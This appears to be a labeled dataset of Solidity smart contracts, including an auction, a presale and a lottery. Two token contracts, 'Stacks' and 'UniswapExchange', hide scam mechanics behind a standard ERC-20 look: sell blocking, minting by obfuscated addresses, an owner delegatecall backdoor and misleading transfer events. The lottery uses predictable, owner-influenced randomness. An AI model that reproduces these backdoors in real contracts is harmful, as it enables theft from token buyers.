require(ERC721Interface(auctions[_auctionId].token).transfer(auctions[_auctionId].winner, auctions[_auctionId].tokenId));
auctions[_auctionId].executed = true;
emit GetToken(_auctionId, msg.sender);
}
function cancelAuction(uint _auctionId) external {
require(auctions[_auctionId].exists);
require(!auctions[_auctionId].executed);
require(msg.sender == auctions[_auctionId].owner);
require(now > auctions[_auctionId].executeTime);
require(ERC721Interface(auctions[_auctionId].token).transfer(auctions[_auctionId].owner, auctions[_auctionId].tokenId));
emit CancelAuction(_auctionId);
}
function migrateAuction(uint _auctionId, address _newAuction) external {
require(auctions[_auctionId].exists);
require(!auctions[_auctionId].executed);
require(msg.sender == auctions[_auctionId].owner);
require(now > auctions[_auctionId].executeTime);
require(ERC721Interface(auctions[_auctionId].token).approve(_newAuction, auctions[_auctionId].tokenId));
require(NewAuctionContract(_newAuction).receiveAuction(
auctions[_auctionId].token,
auctions[_auctionId].tokenId,
auctions[_auctionId].startPrice,
auctions[_auctionId].stopTime
));
}
function ownerAuctionCount(address _owner) external view returns (uint256) {
return ownedAuctions[_owner].length;
}
function auctionsOf(address _owner) external view returns (uint256[]) {
return ownedAuctions[_owner];
}
function addAcceptedToken(address _token) onlyAdmin external {
require(_token != address(0));
acceptedTokens[_token] = true;
emit AddAcceptedToken(_token);
}
function delAcceptedToken(address _token) onlyAdmin external {
require(acceptedTokens[_token]);
acceptedTokens[_token] = false;
emit DelAcceptedToken(_token);
}
function addWhiteList(address _address) onlyAdmin external {
require(_address != address(0));
whiteList[_address] = true;
emit AddWhiteList(_address);
}
function delWhiteList(address _address) onlyAdmin external {
require(whiteList[_address]);
whiteList[_address] = false;
emit DelWhiteList(_address);
}
function setDefaultExecuteTime(uint _hours) onlyAdmin external {
defaultExecuteTime = _hours * 1 hours;
}
function setAuctionFee(uint _fee) onlyAdmin external {
auctionFee = _fee;
}
function setGasInTokens(uint _gasInTokens) onlyAdmin external {
gasInTokens = _gasInTokens;
}
function setMinDuration(uint _minDuration) onlyAdmin external {
minDuration = _minDuration;
}
function setMaxDuration(uint _maxDuration) onlyAdmin external {
maxDuration = _maxDuration;
}
function setProfitAddress(address _profitAddress) onlyOwner external {
require(_profitAddress != address(0));
profitAddress = _profitAddress;
}
function isAcceptedToken(address _token) public view returns (bool) {
return acceptedTokens[_token];
}
function inWhiteList(address _address) public view returns (bool) {
return whiteList[_address];
}
function withdrawTokens() onlyAdmin public {
require(arconaToken.balanceOf(this) > 0);
arconaToken.transfer(profitAddress, arconaToken.balanceOf(this));
}
function valueFromPercent(uint _value, uint _percent) internal pure returns (uint amount) {
uint _amount = _value.mul(_percent).div(10000);
return (_amount);
}
} | 1 | 4,087 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Stacks {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 411 |
pragma solidity ^0.4.19;
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract BasicAccessControl {
address public owner;
uint16 public totalModerators = 0;
mapping (address => bool) public moderators;
bool public isMaintaining = false;
function BasicAccessControl() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyModerators() {
require(msg.sender == owner || moderators[msg.sender] == true);
_;
}
modifier isActive {
require(!isMaintaining);
_;
}
function ChangeOwner(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function AddModerator(address _newModerator) onlyOwner public {
if (moderators[_newModerator] == false) {
moderators[_newModerator] = true;
totalModerators += 1;
}
}
function RemoveModerator(address _oldModerator) onlyOwner public {
if (moderators[_oldModerator] == true) {
moderators[_oldModerator] = false;
totalModerators -= 1;
}
}
function UpdateMaintaining(bool _isMaintaining) onlyOwner public {
isMaintaining = _isMaintaining;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
}
contract EtheremonAdventurePresale is BasicAccessControl {
uint8 constant NO_ETH_SITE = 52;
uint8 constant MAX_BID_PER_SITE = 2;
using AddressUtils for address;
struct BiddingInfo {
address bidder;
uint32 bidId;
uint amount;
uint time;
uint8 siteId;
}
address public tokenContract;
uint32 public totalBid = 0;
uint public startTime;
uint public endTime;
uint public bidETHMin;
uint public bidETHIncrement;
uint public bidEMONTMin;
uint public bidEMONTIncrement;
mapping(uint32 => BiddingInfo) bids;
mapping(uint8 => uint32[]) sites;
event EventPlaceBid(address indexed bidder, uint8 siteId, uint32 bidId, uint amount);
modifier requireTokenContract {
require(tokenContract != address(0));
_;
}
modifier validETHSiteId(uint8 _siteId) {
require(_siteId > 0 && _siteId <= NO_ETH_SITE);
_;
}
modifier validEMONTSiteId(uint8 _siteId) {
require(_siteId == 53 || _siteId == 54);
_;
}
modifier onlyRunning {
require(!isMaintaining);
require(block.timestamp >= startTime && block.timestamp < endTime);
_;
}
function withdrawEther(address _sendTo, uint _amount) onlyModerators public {
if (block.timestamp < endTime)
revert();
if (_amount > this.balance) {
revert();
}
_sendTo.transfer(_amount);
}
function withdrawToken(address _sendTo, uint _amount) onlyModerators requireTokenContract external {
if (block.timestamp < endTime)
revert();
ERC20Interface token = ERC20Interface(tokenContract);
if (_amount > token.balanceOf(address(this))) {
revert();
}
token.transfer(_sendTo, _amount);
}
function EtheremonAdventurePresale(uint _bidETHMin, uint _bidETHIncrement, uint _bidEMONTMin, uint _bidEMONTIncrement, uint _startTime, uint _endTime, address _tokenContract) public {
if (_startTime >= _endTime) revert();
startTime = _startTime;
endTime = _endTime;
bidETHMin = _bidETHMin;
bidETHIncrement = _bidETHIncrement;
bidEMONTMin = _bidEMONTMin;
bidEMONTIncrement = _bidEMONTIncrement;
tokenContract = _tokenContract;
}
function placeETHBid(uint8 _siteId) onlyRunning payable external validETHSiteId(_siteId) {
if (msg.sender.isContract()) revert();
if (msg.value < bidETHMin) revert();
uint index = 0;
totalBid += 1;
BiddingInfo storage bid = bids[totalBid];
bid.bidder = msg.sender;
bid.bidId = totalBid;
bid.amount = msg.value;
bid.time = block.timestamp;
bid.siteId = _siteId;
uint32[] storage siteBids = sites[_siteId];
if (siteBids.length >= MAX_BID_PER_SITE) {
uint lowestIndex = 0;
BiddingInfo storage currentBid = bids[siteBids[0]];
BiddingInfo storage lowestBid = currentBid;
for (index = 0; index < siteBids.length; index++) {
currentBid = bids[siteBids[index]];
if (currentBid.bidder == msg.sender) {
revert();
}
if (lowestBid.amount == 0 || currentBid.amount < lowestBid.amount || (currentBid.amount == lowestBid.amount && currentBid.bidId > lowestBid.bidId)) {
lowestIndex = index;
lowestBid = currentBid;
}
}
if (msg.value < lowestBid.amount + bidETHIncrement)
revert();
siteBids[lowestIndex] = totalBid;
lowestBid.bidder.transfer(lowestBid.amount);
} else {
for (index = 0; index < siteBids.length; index++) {
if (bids[siteBids[index]].bidder == msg.sender)
revert();
}
siteBids.push(totalBid);
}
EventPlaceBid(msg.sender, _siteId, totalBid, msg.value);
}
function placeEMONTBid(address _bidder, uint8 _siteId, uint _bidAmount) requireTokenContract onlyRunning onlyModerators external validEMONTSiteId(_siteId) {
if (_bidder.isContract()) revert();
if (_bidAmount < bidEMONTMin) revert();
uint index = 0;
totalBid += 1;
BiddingInfo storage bid = bids[totalBid];
uint32[] storage siteBids = sites[_siteId];
if (siteBids.length >= MAX_BID_PER_SITE) {
uint lowestIndex = 0;
BiddingInfo storage currentBid = bids[siteBids[0]];
BiddingInfo storage lowestBid = currentBid;
for (index = 0; index < siteBids.length; index++) {
currentBid = bids[siteBids[index]];
if (currentBid.bidder == _bidder) {
revert();
}
if (lowestBid.amount == 0 || currentBid.amount < lowestBid.amount || (currentBid.amount == lowestBid.amount && currentBid.bidId > lowestBid.bidId)) {
lowestIndex = index;
lowestBid = currentBid;
}
}
if (_bidAmount < lowestBid.amount + bidEMONTIncrement)
revert();
bid.bidder = _bidder;
bid.bidId = totalBid;
bid.amount = _bidAmount;
bid.time = block.timestamp;
siteBids[lowestIndex] = totalBid;
ERC20Interface token = ERC20Interface(tokenContract);
token.transfer(lowestBid.bidder, lowestBid.amount);
} else {
for (index = 0; index < siteBids.length; index++) {
if (bids[siteBids[index]].bidder == _bidder)
revert();
}
bid.bidder = _bidder;
bid.bidId = totalBid;
bid.amount = _bidAmount;
bid.time = block.timestamp;
siteBids.push(totalBid);
}
EventPlaceBid(_bidder, _siteId, totalBid, _bidAmount);
}
function getBidInfo(uint32 _bidId) constant external returns(address bidder, uint8 siteId, uint amount, uint time) {
BiddingInfo memory bid = bids[_bidId];
bidder = bid.bidder;
siteId = bid.siteId;
amount = bid.amount;
time = bid.time;
}
function getBidBySiteIndex(uint8 _siteId, uint _index) constant external returns(address bidder, uint32 bidId, uint8 siteId, uint amount, uint time) {
bidId = sites[_siteId][_index];
if (bidId > 0) {
BiddingInfo memory bid = bids[bidId];
bidder = bid.bidder;
siteId = bid.siteId;
amount = bid.amount;
time = bid.time;
}
}
function countBid(uint8 _siteId) constant external returns(uint) {
return sites[_siteId].length;
}
function getLowestBid(uint8 _siteId) constant external returns(uint lowestAmount) {
uint32[] storage siteBids = sites[_siteId];
lowestAmount = 0;
for (uint index = 0; index < siteBids.length; index++) {
if (lowestAmount == 0 || bids[siteBids[index]].amount < lowestAmount) {
lowestAmount = bids[siteBids[index]].amount;
}
}
}
} | 1 | 2,937 |
pragma solidity ^0.4.18;
contract Vitaluck {
address ceoAddress = 0x46d9112533ef677059c430E515775e358888e38b;
address cfoAddress = 0x23a49A9930f5b562c6B1096C3e6b5BEc133E8B2E;
string MagicKey;
uint256 minBetValue = 50000000000000000;
uint256 currentJackpot;
modifier onlyCeo() {
require (msg.sender == ceoAddress);
_;
}
event NewPlay(address player, uint number, bool won);
struct Bet {
uint number;
bool isWinner;
address player;
uint32 timestamp;
uint256 JackpotWon;
}
Bet[] bets;
mapping (address => uint) public ownerBetsCount;
uint totalTickets;
uint256 amountWon;
uint256 amountPlayed;
uint cooldownTime = 1 days;
address currentWinningAddress;
uint currentWinningNumber;
uint currentResetTimer;
uint randomNumber = 178;
uint randomNumber2;
function() public payable {
Play();
}
function Play() public payable {
require(msg.value >= minBetValue);
if(totalTickets == 0) {
totalTickets++;
currentJackpot = currentJackpot + msg.value;
return;
}
uint _thisJackpot = currentJackpot;
uint _finalRandomNumber = 0;
currentJackpot = currentJackpot + msg.value;
_finalRandomNumber = (uint(now) - 1 * randomNumber * randomNumber2 + uint(now))%1000 + 1;
randomNumber = _finalRandomNumber;
amountPlayed = amountPlayed + msg.value;
totalTickets++;
ownerBetsCount[msg.sender]++;
uint256 MsgValue10Percent = msg.value / 10;
cfoAddress.transfer(MsgValue10Percent);
currentJackpot = currentJackpot - MsgValue10Percent;
if(_finalRandomNumber > currentWinningNumber) {
currentResetTimer = now + cooldownTime;
uint256 JackpotWon = _thisJackpot;
msg.sender.transfer(JackpotWon);
currentJackpot = currentJackpot - JackpotWon;
amountWon = amountWon + JackpotWon;
currentWinningNumber = _finalRandomNumber;
currentWinningAddress = msg.sender;
bets.push(Bet(_finalRandomNumber, true, msg.sender, uint32(now), JackpotWon));
NewPlay(msg.sender, _finalRandomNumber, true);
if(_finalRandomNumber >= 900) {
currentWinningAddress = address(this);
currentWinningNumber = 1;
}
} else {
currentWinningAddress.transfer(MsgValue10Percent);
currentJackpot = currentJackpot - MsgValue10Percent;
bets.push(Bet(_finalRandomNumber, false, msg.sender, uint32(now), 0));
NewPlay(msg.sender, _finalRandomNumber, false);
}
}
function manuallyResetGame() public onlyCeo {
require(currentResetTimer < now);
uint256 JackpotWon = currentJackpot - minBetValue;
currentWinningAddress.transfer(JackpotWon);
currentJackpot = currentJackpot - JackpotWon;
amountWon = amountWon + JackpotWon;
currentWinningAddress = address(this);
currentWinningNumber = 1;
}
function GetCurrentNumbers() public view returns(uint, uint256, uint) {
uint _currentJackpot = currentJackpot;
return(currentWinningNumber, _currentJackpot, bets.length);
}
function GetWinningAddress() public view returns(address) {
return(currentWinningAddress);
}
function GetStats() public view returns(uint, uint256, uint256) {
return(totalTickets, amountPlayed, amountWon);
}
function GetBet(uint _betId) external view returns (
uint number,
bool isWinner,
address player,
uint32 timestamp,
uint256 JackpotWon
) {
Bet storage _bet = bets[_betId];
number = _bet.number;
isWinner = _bet.isWinner;
player = _bet.player;
timestamp = _bet.timestamp;
JackpotWon = _bet.JackpotWon;
}
function GetUserBets(address _owner) external view returns(uint[]) {
uint[] memory result = new uint[](ownerBetsCount[_owner]);
uint counter = 0;
for (uint i = 0; i < bets.length; i++) {
if (bets[i].player == _owner) {
result[counter] = i;
counter++;
}
}
return result;
}
function GetLastBetUser(address _owner) external view returns(uint[]) {
uint[] memory result = new uint[](ownerBetsCount[_owner]);
uint counter = 0;
for (uint i = 0; i < bets.length; i++) {
if (bets[i].player == _owner) {
result[counter] = i;
counter++;
}
}
return result;
}
function modifyRandomNumber2(uint _newRdNum) public onlyCeo {
randomNumber2 = _newRdNum;
}
function modifyCeo(address _newCeo) public onlyCeo {
require(msg.sender == ceoAddress);
ceoAddress = _newCeo;
}
function modifyCfo(address _newCfo) public onlyCeo {
require(msg.sender == ceoAddress);
cfoAddress = _newCfo;
}
} | 1 | 4,417 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
